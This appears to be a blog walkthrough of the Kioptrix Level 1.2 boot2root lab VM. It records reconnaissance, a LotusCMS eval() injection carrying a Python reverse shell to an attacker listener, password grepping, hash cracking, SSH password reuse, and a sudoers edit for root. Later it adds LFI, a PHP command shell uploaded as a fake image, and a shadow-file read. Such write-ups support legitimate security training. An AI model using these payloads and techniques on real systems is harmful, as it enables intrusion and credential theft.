304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Kioptrix Level 1.2 (#3) Walkthrough

After a quick BOF break, it was time to get back to the boot2roots.

Next on my plate was the 3rd part on the Kioptrix series, Kioptrix Level 1.2 (#3) by loneferret.

First up was netdiscover to find the IP of the new VM.

 Currently scanning: Finished!   |   Screen View: Unique Hosts
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
    IP            At MAC Address      Count  Len   MAC Vendor    
 ----------------------------------------------------------------    00:50:56:c0:00:01    01    060   VMWare, Inc.  00:0c:29:38:93:fd    01    060   VMware, Inc.  00:50:56:ec:e1:8a    01    060   VMWare, Inc.


Additionally, the readme mentioned adding the IP to my hosts file so that the web application would work properly, so I did that as well.

root@kali:~# cat /etc/hosts     localhost     kali

With everything setup, it was time to run Nmap.

root@kali:~# nmap -sT -sV -O

Starting Nmap 6.47 ( ) at 2015-05-11 09:50 EDT
Nmap scan report for (
Host is up (0.00056s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:38:93:FD (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.80 seconds

Clicking the Login link at the top brought me to a login prompt that mentioned LotusCMS.

After a quick search, it appears that LotusCMS may be vulnerable to a remote code execution exploit in the way it handles the eval() function, so I decided to test this out.

What that verified as an attack vector, I whipped up a quick reverse shell (shout-outs again to the pentestmonkey cheat sheet in Python, URL encoded it, setup the listener on my attack box, and hoped for the best.

');${system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);\'')};#
root@kali:~# nc -l -p 4444
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd /home
$ ls

www-data account in hand, I decided to try to see if I could find any passwords in readable files. It looked like there might be some MySQL credentials in the gconfig.php file, so I checked that out a bit further.

$ cd www
$ cd
$ grep --exclude=*.js -rn "password" .
./modules/Backup/BackupModuleAdmin.php:124:                    $this->setContent("<p>Successfully restored backup. Remember: <strong>User accounts and passwords created after the backup used have bee reversed to the original state.</strong></p>");    
./modules/Blog/template/default/profile.tpl:6:          <div>Password: <input type="password" name="pass" /></div>
./modules/Blog/template/default/profile.tpl:7:          <div>New password: <input type="password" name="newpass" /></div>


grep: ./gallery/scopbin/ Permission denied
./gallery/gconfig.php:20:     $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
./gallery/gconfig.php:24:if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], 


./core/controller/AdminController.php:85:          $password = $this->getModel()->getInputString("password");
./core/controller/AdminController.php:87:          if(empty($username)||empty($password))
./core/controller/AdminController.php:96:               $check = $this->getModel()->checkUserDetails($username, 
$ cd gallery
$ cat gconfig.php 
          A sample Gallarific configuration file. You should edit
          the installer details below and save this file as gconfig.php
          Do not modify anything else if you don't know what it is.

     // Installer Details -----------------------------------------------

     // Enter the full HTTP path to your Gallarific folder below,
     // such as
     // Do NOT include a trailing forward slash

     $GLOBALS["gallarific_path"] = "";

     $GLOBALS["gallarific_mysql_server"] = "localhost";
     $GLOBALS["gallarific_mysql_database"] = "gallery";
     $GLOBALS["gallarific_mysql_username"] = "root";
     $GLOBALS["gallarific_mysql_password"] = "fuckeyou"

     // Setting Details -------------------------------------------------

if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
          echo("A connection to the database couldn't be established: " . mysql_error());
}else {
     if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
          echo("The Gallarific database couldn't be opened: " . mysql_error());
     }else {
          $settings=mysql_query("select * from gallarific_settings");


I decided to try these credentials in the /phpmyadmin (found earlier by DirBuster), and they worked.

After looking around a bit, it seemed that there were some user credentials in dev_accounts (and gallarific_users, but more on that later…), so I figured those would be useful.

I threw the hashes into john to see if I could get anything useful out of them.

root@kali:~# john sql-devaccounts --format=raw-md5
Created directory: /root/.john
Loaded 2 password hashes with no different salts (Raw MD5 [128/128 SSE2 intrinsics 12x])
starwars         (loneferret)
Mast3r           (dreg)
guesses: 2  time: 0:00:00:09 DONE (Mon May 11 18:00:58 2015)  c/s: 23274K  trying: Mast2k - Mast38
Use the "--show" option to display all of the cracked passwords reliably   

Recognizing the loneferret user as having a directory in the /home directory, I hoped that he reused his password for SSH, which he (of course) did.

root@kali:~# ssh [email protected]
The authenticity of host ' (' can't be established.
RSA key fingerprint is 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
[email protected]'s password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
Last login: Sat Apr 16 08:51:58 2011 from

After poking around a little bit in his home directory, it appeared that he had sudo rights to /usr/local/bin/ht

loneferret@Kioptrix3:~$ cat .bash_history
sudo ht
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ sudo ht /etc/sudoers

Running sudo ht brought up a text editor, so I decided to try to use it to edit the sudoers file.

Saving the file, exiting the editor, and running sudo /bin/sh worked and gave me root!

loneferret@Kioptrix3:~$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

Inside of the root directory was the flag (congrats.txt), indicating that I had succeeded at this level.

# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.

I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret

Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:

Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
Vulnerable version of this application can be downloaded
from the Exploit-DB website:

The HT Editor can be found here:
And the vulnerable version on Exploit-DB here:

Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

But wait, there’s more!

No shadow file yet, as I wasn’t quite done with the box yet.

First of all, there also appeared to be an LFI vulnerability in LotusCMS, so I decided to see if I could view the /etc/passwd file.

Unfortunately, I was unable to use this for any log poisoning, but it would still prove useful for later…

Some earlier searching also turned up that the Gallarific gallery was vulnerable to a SQL injection exploit, so I decided to check that as well.

While the dev_accounts weren’t terribly useful to me anymore as I already had them, I was also able to get the admin credentials from the gallarific_users table.

After perusing the source of the gallery, there seemed to be a /gadmin page that was just commented out as opposed to removed.

Once I headed to the /gadmin page, I found a login section

Using the admin/n0t7t1k4 credentials from earlier, I was able to log in to the administrative section of the gallery.

After a bit of perusing, I decided to head to the upload section.

I decided to test the upload section with my super complex, feature rich PHP shell.

root@kali:~# cat cmd.php
    $cmd = ($_REQUEST["cmd"]);
    echo "</pre>$cmd<pre>";
?>root@kali:~# cp cmd.php evil.jpg
root@kali:~# cat evil.jpg
    $cmd = ($_REQUEST["cmd"]);
    echo "</pre>$cmd<pre>";

Putting evil.jpg into the uploader seemed to work, and too me to a page with a broken image link.

Using the LFI from earlier combined with my malicious image, I was able to execute commands on the server. I could easily have used this for a reverse shell followed by privilege escalation, but I’ll leave that exercise up to the user.

While the screenshot doesn’t show it, the full URL was as follows –

And, of course, I still grabbed the /etc/shadow file.

# cat /etc/shadow

Another solid, quick, and easy vulnerable VM from loneferret, and I look up to finishing up the last 2 in the series.

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.